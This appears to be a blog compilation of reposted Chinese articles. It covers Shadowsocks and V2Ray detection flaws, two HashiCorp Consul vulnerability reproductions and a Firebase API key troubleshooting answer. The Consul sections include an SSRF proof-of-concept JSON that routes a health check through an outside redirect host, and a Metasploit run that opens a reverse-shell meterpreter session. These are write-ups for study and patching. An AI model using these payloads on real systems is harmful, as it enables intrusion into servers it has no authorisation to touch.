除了我们在Shadowsocks-libev和OutlineVPN中发现的服务器反应指纹,Frolov et al.还展示了包括Shadowsocks-python和OutlineVPN在内的多种翻墙软件可以通过关闭连接时的TCP flags和连接时长来识别。studentmain报告,直至2020年12月, 许多的Shadowsocks实现仍存在着我们在Shadowsocks-libev和Outline中发现的问题。

Frolov et al.建议代理服务器在遇到错误连接时不要立即关闭连接,而是“read forever”。这样做不但避免泄漏超时值,而且使得服务器发送与正常连接关闭时相同的TCP flags来关闭错误连接。

进一步说,“reading forever”本身不会带来更加独特的指纹。因为Frolov et al.发现互联网上大量的服务器都会有无限超时值(“infinite timeout”)的特征。David Fifield调查显示,许多流行的翻墙软件已经采取了“read forever”策略。这些软件包括OSSH,obfs4,Outline和Lampshade。

强制采用强密码

Len et al. 于2020年展示了针对Shadowsocks服务器的partitioning oracle攻击。利用在Shadowsocks中使用的non-committing AEAD,攻击者可以更高效地猜出密码。我们因此建议开发者强制采用强密码。一种可能的实现方式是要求用户密码的熵高于一定值。

主动探测你的实现

如果你是一个不同于Shadowsocks-libev和Outline的翻墙软件开发者或贡献者,我们鼓励你检查同样的漏洞是否也存在于你的Shadowsocks实现中。我们开源了我们在论文Section 5.1中用到的prober 模拟器

鸣谢

我们想要感谢来自Jigsaw的Vinicius Fortuna,来自APNIC的Robert Mitchell和Dan Fidler,以及来自Qv2ray的DuckSoft和Student Main对本文提供的反馈。

联系

这篇报告首发于GFW Report。我们还在APNIC blog,net4people以及ntc.party同步更新了博文。

我们鼓励您或公开地或私下地分享您的评论或疑问。我们私下的联系方式可见GFW Report的页脚。

Shadowsocks协议解析

Shadowsocks协议解析

本文转自喂草 并作补充

Shadowsocks过程

Shadowsocks是一个代理协议,以下简称SS。当然基于SS协议催生出了许多的代理软件,例如Shadowsocks-NG(MacOS平台)、Shadowrocket(iOS平台)等。不过总归来说SS的流程是一致的:

image

上图简述了SS在整个数据传输中的位置,包含了SS客户端和SS服务端两个部分,一般来说SS客户端是安装在本地的软件,而SS服务端则是运行在VPS上的软件。如果没有SS的话,上图就成了没有代理的用户与目标服务器(例如Google.com)的直接通信。下面一SS代理下的HTTP请求介绍上述过程:

  1. 浏览器要访问Google.com,便生成HTTP请求。由于设置了代理,所以不会直接发送到Google服务器,而是发送到SS客户端(例如127.0.0.1:1086)。
  2. SS客户端把HTTP请求封装成SS请求(后面详细介绍),包含协议封装和加密过程,发送给SS服务器。
  3. SS服务器收到SS请求并解析,包含解密和协议解析过程,获得原始HTTP请求。
  4. SS服务器连接Google服务器,发送用户的原始HTTP请求,并获取Google返回的HTTP响应。
  5. SS服务器对HTTP请求进行加密,并发送到SS客户端。此处没有协议封装。
  6. SS客户端收到SS服务器的响应,进行数据解密得到HTTP响应,发送到浏览器以完成HTTP请求。

Shadowsocks协议

接下来会在字节层面对上述过程进行详细介绍。由于SS在处理TCP连接和UDP报文所使用的协议有所差异,因此也会分开介绍。

TCP连接

TCP连接模式主要包括HTTP、HTTPS和Socket等应用层协议,这些协议有所差异比如说有的协议有握手,有的协议却只有一来一回的数据交互,有的协议可能会保持长时间的连接和数据传输。。但这些对于SS来说都是一样的,因为它们都不过是数据(payload),而SS要做的无非是创建两个通道,一个用于把客户端数据传输到服务端,一个用于把服务端的数据传输到客户端

SS请求

TCP握手很熟悉了,握手的目的是建立数据链路。SS也有握手过程,目的就是建立上述的数据链路,不过这个过程只有半次握手,即SS请求。SS请求的主要功能是建立代理链路,因此需要告诉SS服务器要代理访问的远程服务器地址(如果不知道IP地址的话,给域名也可以),然后可以顺便携带一部分传输数据。根据地址类型的不同,SS请求会有3种形式:

  1. 通过SS请求传输目标服务器的IPv4地址:

image

  1. 通过SS请求传输目标服务器的IPv6地址:

image

  1. 在不知道目标服务器IP地址的时候(比如DNS被劫持),直接传输目标服务器的域名:

image

客户端加密

SS客户端把SS请求组装好了,在向SS服务器传输之前还需要进行加密,否则用户的数据就在网络上明文传输了,这个是很不安全的。下面举例使用SS中最常用的加密方案AES-256-cfb方式进行数据加密,大致步骤如下:

  1. 密钥生成:AES-256意味着其密钥长度是256bit,但用户密码有长有短,而且都是可见的ASCII,把密码作为密钥来用显然安全性是不够的,所以需要根据密码生成安全性达标的256bit长度密钥。SS中使用MD5对密码生成16byte长度的消息摘要,即可作为密钥使用。
  2. IV生成:原始AES加密下,对于相同的明文会生成相同的密文,这也是安全性的一种缺陷。AES-cfb通过引入随机数IV的方式解决该问题,即在随机数IV的加持之下可以实现相同的明文生成不同的密文。在AES-256-cfb中,IV是一个16bit的随机数。
  3. 加密:有了密钥、加密算法、IV,就可以生成加密器,并对数据进行加密了。在此数据就是上述所组装的SS请求,得到密文cypher。为了让SS服务端可以解密,还需要把IV也一同发送,所以最终生成的数据如下:

image

服务端解析

SS服务器和SS客户端所共享的信息有密码和加密方式,这是配置过SS服务器的人都知道的,在收到SS客户端发送的SS请求后,SS客户端进行解析的过程如下:

  1. 密钥生成:根据密码生成密钥,由于和客户端拥有相同的密码和密钥生成算法,所以生成的AES-256-cfb密钥也是一样的。
  2. 获取IV:从SS客户端接收到的数据前16bit提取出来就得到了AES-256-cfb的IV。
  3. 解密:根据密钥、加密算法和IV生成解密器,对收到的数据进行解密,就得到了SS请求明文。
  4. 地址解析:根据SS请求的第1个Byte得知目标服务器地址的类型(IPv4,IPv6或域名),并根据相应的规则进行解析得到其地址与端口。
  5. 代理请求:说到底SS就是一个代理协议,代理的意思就是代替客户端对目标服务器发起请求。通过地址与端口连接目标服务器,并发送解密后的数据,完成请求。

服务端响应

SS服务器收到目标服务器的数据,把数据传输给SS客户端,也需要进行加密,不同的是不需要组装协议了。所以该过程就比较简单:

  1. 生成IV:虽然也是随机数,但该IV与SS客户端发送请求时生成的IV不相等,需要再生成一个。
  2. 加密:根据新生成的IV、密钥和加密算法生成加密器,对目标服务器响应的数据进行加密。同样为了SS客户端可以解密,也需要把IV连同密文一起发送给客户端。

客户端解析

SS客户端收到服务端的数据,通过提取IV就可以生成响应的解密器,对数据进行解密,从而完成用户与目标服务器的通信。
上述的加密器和解密器都是和连接绑定的,即一次TCP连接代理通信只需要互相发送一次IV用于双方创建解密器,而后续的通信内容都只有包括密文部分,使用解密器进行解密即可。
所以其实SS协议的过程是非常简单的,以至于在画下图的时候都不知道有什么可以加上的东西。

image

UDP连接

UDP模式在SS中通过UDP转发选项开启,用于代理UDP流量如DNS查询、即时语音通信等。

UDP模式和TCP模式差异

SS中TCP和UDP大同小异,但由于UDP之于TCP是无连接协议,因此简单探讨一下UDP模式无连接下的一些区别:

  1. TCP连接作为基本单位:在TCP模式中,从握手到挥手的过程就是一次连接,因此一次连接是SS中的基本单位,所以一次连接对应上下行的2个加密通道、2个IV。所以一次TCP连接中无论有多少次数据交互,只需要一次握手
  2. UDP数据分组作为基本单位:在UDP模式中没有连接的概念,其基本单位是每个数据包,所以每个数据包对应1个IV和加密解密器。可以说在UDP模式下有多少个数据包,就会发生多少次SS握手。
  3. 连接方式差异:因为UDP是无连接,所以在socket编程时通常不会像UDP连接一样,先connect然后才数据读写,而是直接进行数据包的收发。
  4. 方向性:TCP模式种中总是SS客户端向SS服务器发起握手,但在UDP模式中由于没有连接的概念,所以每个数据包都是平等的自带握手信息,即使SS服务器向SS客户端发送的数据也是。

UDP下的握手协议

UDP模式中每一个数据包都具有相同格式,无论是从SS客户端发往SS服务器,还是从SS服务器发往SS客户端,其格式与上述SS请求相同:

image

所以不仅SS客户端会把需要代理访问的目标服务器的地址信息告诉SS服务器,SS服务器也会把目标服务器返回的数据连同其地址信息一同返回SS客户端。这主要是因为UDP模式下是没有连接的概念,所以每条数据需要自带一些额外信息,就像每次进商场都要戴口罩测体温一样。

后记

学术交流而已。

V2ray协议爆发了重大安全漏洞

V2ray协议爆发了重大安全漏洞

本文转自DolorHunter 并作补充

服务器端的 V2ray 更新到 v4.23.4 以及之后的版本可以解决这一问题, 请大家尽快更新.

这可能是 V2ray 自 15 年发布 v1.0.0 以来面临的最大危机.

六一前后, 有大量网友反应自己的裸 V2ray 配置(Vmess+TCP 的默认配置)失效了, 我本来也没太当回事, 毕竟过几天就是 535 了, 断一断网是老传统, 并没有什么好说的. 不过有一点与以往不同, 这次被阻断的用户都是使用默认配置.

V2ray 的默认配置是 Vmess+TCP. 虽然中庸普通, 但它并不是一个容易被阻断的配置. 之前被阻断的 V2ray 配置通常都是些 KCP/mKCP 或是 QUIC 这类的基于 UDP 协议的配置. UDP 通信数据特征明显, 因此容易被 GFW 逮个正着. 而 TCP 是可靠协议, 而且目前大量的网络数据也是基于 TCP 协议, 因此 TCP 协议一直都还算安全.

我的认知里Vmess协议有个安全性排名: Vmess+TCP/WS/HTTP2+TLS > Vmess+TCP/WS/HTTP2 > Vmess+KCP/mKCP/QUIC. 如果用白话来解释就是带TLS的配置是最高一档90分优秀, 中间配置60分及格凑合, 最后一档是不及格. 我一直认为, 只要不用 KCP/mKCP/QUIC 爆炸三兄弟, 还是能舒心上网的. 然而我的预判出了大错误.

发现重大安全漏洞

QV2ray-dev 社区首先发声. 六一当天, QV2ray-dev 警告用户不要使用 Vmess+TCP, 部分 Vmess+WS 及部分 Vmess+ws+TLS(insecure) 的配置组合. 他解释到 GFW 正在进行主动探测, 在 30s 内就可以接近 100% 的探测出你是否使用 Vmess+TCP 的配置, 其他配置亦可以受到波及. 并且此问题并无解决方案, 解决该问题可能需要重新设计 Vmess 协议.

看到了这条消息后, 当下到 V2ray 社区逛了一圈, 发现事态比想象中的严重许多. p4gefau1t 发了一个名为 v2ray的TLS流量可被简单特征码匹配精准识别(附PoC) 的帖子. 过后十几小时又发了个名为 vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) 的帖子. 这两个帖子在短短几小时内已经获得了数十个回复, 并且多为负责此项目的大牛.

p4gefau1t 首先发现仅凭tls client hello的cipher suite字段,就可以非常准确地将v2ray流量和正常浏览器流量区分开来。

他通过 这篇文章 中提到了使用机器学习训练的模型可对v2ray的tls+ws流量进行识别,准确率高达0.9999. 后来, 经过本地测试,可以复现。并且不限于tls+ws,对tls+vmess等组合也同样有效。其他tls流量如浏览器流量等,全程没有出现误报情况。因此初步怀疑是v2ray使用的utls进行client hello伪造出现的问题。

通过抓包对比真实的chrome与utls的client hello,发现两者基本一致,但与v2ray的存在较大差别,其中包括suite和extension的差别。此后,我们将utls的chrome的cipher suite patch到v2ray中后,此模型无法识别v2ray的tls流量。所以我们可以初步认为,模型很可能是学习了tls client hello的特征,导致流量被识别。

他发现识别tls client hello并不需要使用机器学习的方法,简单的DPI即可实现,因此在gfw部署的成本很低。并且,由于这组cipher suites太过特殊,我们可以仅凭cipher suites进行准确识别。

Cipher Suite 的特征有多特殊呢? 帖子下的网友随手撸一个从 0x90 偏移量开始的 memcmp 都能精准高效识别“特征码”:cca8cca9c02fc02bc030c02cc027c013c023c009c014c00a130113031302 甚至可以利用 iptables 进行明文匹配…… 帖内多个网友用其他配置也多次复现成功, 都得到了相同的特征码.

这个漏洞可以说是十分棘手. 几乎可以说只要 GFW 想, 随时可以全国断网, 并且不分配置(不管有没有 TLS 都是死路一条).

p4gefau1t 在十几个小时后又发了一个帖子. 这次他构造出了更具杀伤性的PoC, 仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。

16 字节 X 字节 余下部分
认证信息 指令部分 数据部分

Vmess 协议前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。而问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节 2 字节 1 字节 N 字节 P 字节 4 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd 端口 Port 地址类型 T 地址 A 随机值 校验 F

前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。

这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。

临时性纾困方案

V2ray 社区针对这一漏洞在一周内接连推出了两个小的版本更新, 4.23.3 和 4.23.4.

V2Ray 项目在最近的几天内收到了数个隐匿性能方面的漏洞报告。这些漏洞都在被提出的数个小时内被解决(除 mKCP 修复暂缓)并发布相关更新。您可以升级到最新版本 v4.23.4 来获取最大程度的保护。我们支持和鼓励寻找并提出 V2Ray 各个方面漏洞的人。我们希望 V2Ray 的用户不要指责或者攻击为我们提供安全审计的人士。

可以使用

如果你已经升级到 V2Ray v4.23.4,并且没有开启 TLS 的 AllowInsecure 选项,以下配置组合不会泄露识别信息:

VMess over Websocket with TLS

VMess over TLS

VMess over HTTP/2 (使用 TLS 的 HTTP/2,并非 h2c)

Shadowsocks(AEAD) over Websocket with TLS

谨慎使用

以下配置组合可能会在攻击者位于网络路径上时可能会使攻击者获得的协议数据的一些统计学属性,但是这些信息不足以用于确定服务器上部署了这些协议

VMess over TCP (还在继续改进中) 已修复, 可以正常使用

并不建议

以下配置组合不建议用于穿越被攻击者控制的网络:

任何协议 + SOCKS5

任何协议 + HTTP 代理

任何协议 + HTTP 伪装

任何协议 + mKCP + 任何伪装

-xiaokangwang 于 关于在近期收到的数个漏洞的项目组公告

协议的长期解决方案

重写 Vmess 协议可能是在较长时间内解决这一问题的唯一出路.

Vmess 协议已经诞生了很长一段时间. 那时候互联网上tls并不普及,tls1.3也还没出来。因此协议过时出现问题可以说是必然. 依照此趋势, 我倾向于认为下一代的 Vmess 默认协议可能会是类似 Vmess+TCP/WS/HTTP2+TLS 的设计. HTTP3 短期看来不太可能有具体应用, 毕竟 QUIC 作为 HTTP3的雏形, 翻车翻成什么样大家心里都有数.

这次可能可以说是 V2ray 面世五年来遇到的最大一次危机. 不过, 目前的两个紧急补丁已经缓解了燃眉之急, 并且就 V2ray 社区的效率(两天内连续两个补丁), 我基本上已经消解了我之前的随时可能断网的担忧了.

当前社区内对于新协议的讨论如火如荼, 每天都能看到新的点子冒出来. 过不了多久可能就会见到新的用于替换当前的 Vmess 的协议, 或者是目睹 V2ray 终于要进入 v5.0.0时代. 不论是目睹了其中的任何一件, 都是在见证历史, 见证开源社区的协作, 见证又一次与 GFW 的缠斗.

CVE-2022-29153 consul SSRF

CVE-2022-29153 consul SSRF

本文转自cokeBeer 并作补充

漏洞信息

  • 漏洞类型:SSRF
  • 漏洞版本:< 1.9.17,>= 1.10.0, < 1.10.10,>= 1.11.0, < 1.11.5
  • 漏洞简介:http类型的health_check被重定向导致的SSRF

repo介绍

consul是一个用go语言编写的分布式应用管理服务器,目前在github上已经有24.7k个star

漏洞分析

consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul

1
2
3
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install consul=1.10.9

然后启动一个consul服务器

1
consul agent -dev -enable-script-checks -node=web -ui

访问http://localhost:8500/可以看到consul的界面

image

编写一个ssrf.json作为poc,里面标志的http地址会将请求302重定向到127.0.0.1:80

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ID": "ssrf",
"name": "ssrf",
"port": 5001,
"check": {
"checkid": "ssrf_check",
"name": "Check ssrf",
"http": "http://fuzz.red/ssrf/127.0.0.1/",
"method": "GET",
"interval": "10s",
"timeout": "1s"
}
}

使用如下指令将health_check注册到consul服务器

1
curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register

可以看到添加成功

image

这时consul会主动运行health_check,请求被302重定向到内网,导致了SSRF。可以看到nc也收到了请求

image

修复方式

agent/config.go中添加DisableRedirects字段,可以在服务器端配置,关闭health_check的重定向

image

参考链接

Hashicorp Consul Service API远程命令执行漏洞

Hashicorp Consul Service API远程命令执行漏洞

本文转自starnight_cyber 并作补充

简介

Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。

Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。

在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。

环境搭建

https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。

1
./consul agent -dev -client your-serv-ip -enable-script-checks

访问:http://your-serv-ip:8500/v1/agent/self

启用了 EnableRemoteScriptChecks: true

image

漏洞验证

  1. 使用 MSF 进行测试,简要过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 > search Hashicorp

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/nomad_exec 2021-05-17 excellent Yes HashiCorp Nomad Remote Command Execution
1 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
2 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API


Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_exec

msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

可以看到成功创建 meterpreter。

image

修复措施

  1. 禁用Consul服务器上的脚本检查功能
  2. 确保Consul HTTP API服务无法通过外网访问或调用
  3. 对/v1/agent/service/register 禁止PUT方法

参考

https://blog.csdn.net/qq_44159028/article/details/115870000

https://releases.hashicorp.com/consul/1.2.4/

https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960

以上!

与 Firebase 安装服务器 API 通信时的 Android 错误

与 Firebase 安装服务器 API 通信时的 Android 错误

本文转自Segmentfault 并作补充

Questions

我在应用程序启动时收到一条错误消息,说明日志如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
W/Firebase-Installations: Error when communicating with the Firebase Installations server API. HTTP response: [400 Bad Request: {
"error": {
"code": 400,
"message": "API key not valid. Please pass a valid API key.",
"status": "INVALID_ARGUMENT",
"details": [
{
"@type": "type.googleapis.com/google.rpc.Help",
"links": [
{
"description": "Google developers console",
"url": "https://console.developers.google.com"
}
]
}
]
}
}
]
2020-04-27 12:42:34.621 22226-23596/in.co.androidapp.g7 E/Firebase-Installations: Firebase Installations can not communicate with Firebase server APIs due to invalid configuration. Please update your Firebase initialization process and set valid Firebase options (API key, Project ID, Application ID) when initializing Firebase.

大约一周前我收到一封电子邮件,我应该更新我的 google_services.json 文件,我已经更新了 4-5 次。没有改进。它已经工作了大约一年。自从我在应用程序中遇到此问题以来只有 2-3 天。

随后,Firebase Cloud Messaging 和其他 Firebase 服务无法正常工作。我没有进行编程初始化(即,使用 FirebaseOptions 对象提供这些值),只是默认初始化使用 FirebaseApp.initializeApp(this);

我试过 https://github.com/firebase/firebase-android-sdk/blob/master/firebase-installations/API_KEY_RESTRICTIONS.md

提前致谢。

原文由 Daksh Agrawal 发布,翻译遵循 CC BY-SA 4.0 许可协议

Answers

如果您的 API 密钥有问题,您可以在 Cloud Console 中创建一个新的 API 密钥:

  • 转到 谷歌云控制台
  • 选择相关项目(即您用于申请的项目)
  • 打开菜单并转到 APIs & ServicesCredentials
  • 在页面顶部点击 + CREATE CREDENTIALSAPI key
  • 用新创建的 API 密钥替换应用程序中的 API 密钥

如果您使用 google-services.json 来自 Firebase 控制台 的配置文件,您首先必须删除或限制当前 google-services.json 中使用的 API 密钥,以便使 Firebase 更新配置文件和使用新的 API 密钥。

  • 在您的 google-services.json 配置文件中识别 API 密钥。
  • 通过根据 Firebase Installations API 指标页面 检查 API 密钥的使用情况,确认 API 密钥正在创建错误请求。 API 密钥的列 Usage with this service 应显示大于 0 的数字。
  • 通过单击 bin 符号删除该 API 密钥,或通过单击铅笔符号将 Application restrictions 添加到该 API 密钥。 !!警告!! 不要删除应用程序现有安装所需的 API 密钥,以用于其他 Firebase 服务,例如 Firebase Auth 或 Realtime-Database。

等待几分钟,让 Google 服务器更新。下次下载 google-service.json 配置文件应该包含一个新的 API 密钥。

您可以使用以下 CURL 命令测试您的配置。你得到的 错误 是什么? (注意:如果您看到的是 JSON 数据,则说明您的配置成功)

测试您的配置是否适用于以下 CURL 命令:

1
2
3
4
5
 api_key=<YOUR_API_KEY>;
project_identifier=<YOUR_PROJECT_ID>;
app_id=<YOUR_FIREBASE_APP_ID_EXAMPLE_1:12345678:android:00000aaaaaaaa>;

curl -H "content-type: application/json" -d "{appId: '$app_id', sdkVersion: 't:1'}" https://firebaseinstallations.googleapis.com/v1/projects/$project_identifier/installations/?key=$api_key;

关于 API 密钥和 Firebase Installations API 的其他相关链接:

原文由 Andreas Rayo Kniep 发布,翻译遵循 CC BY-SA 4.0 许可协议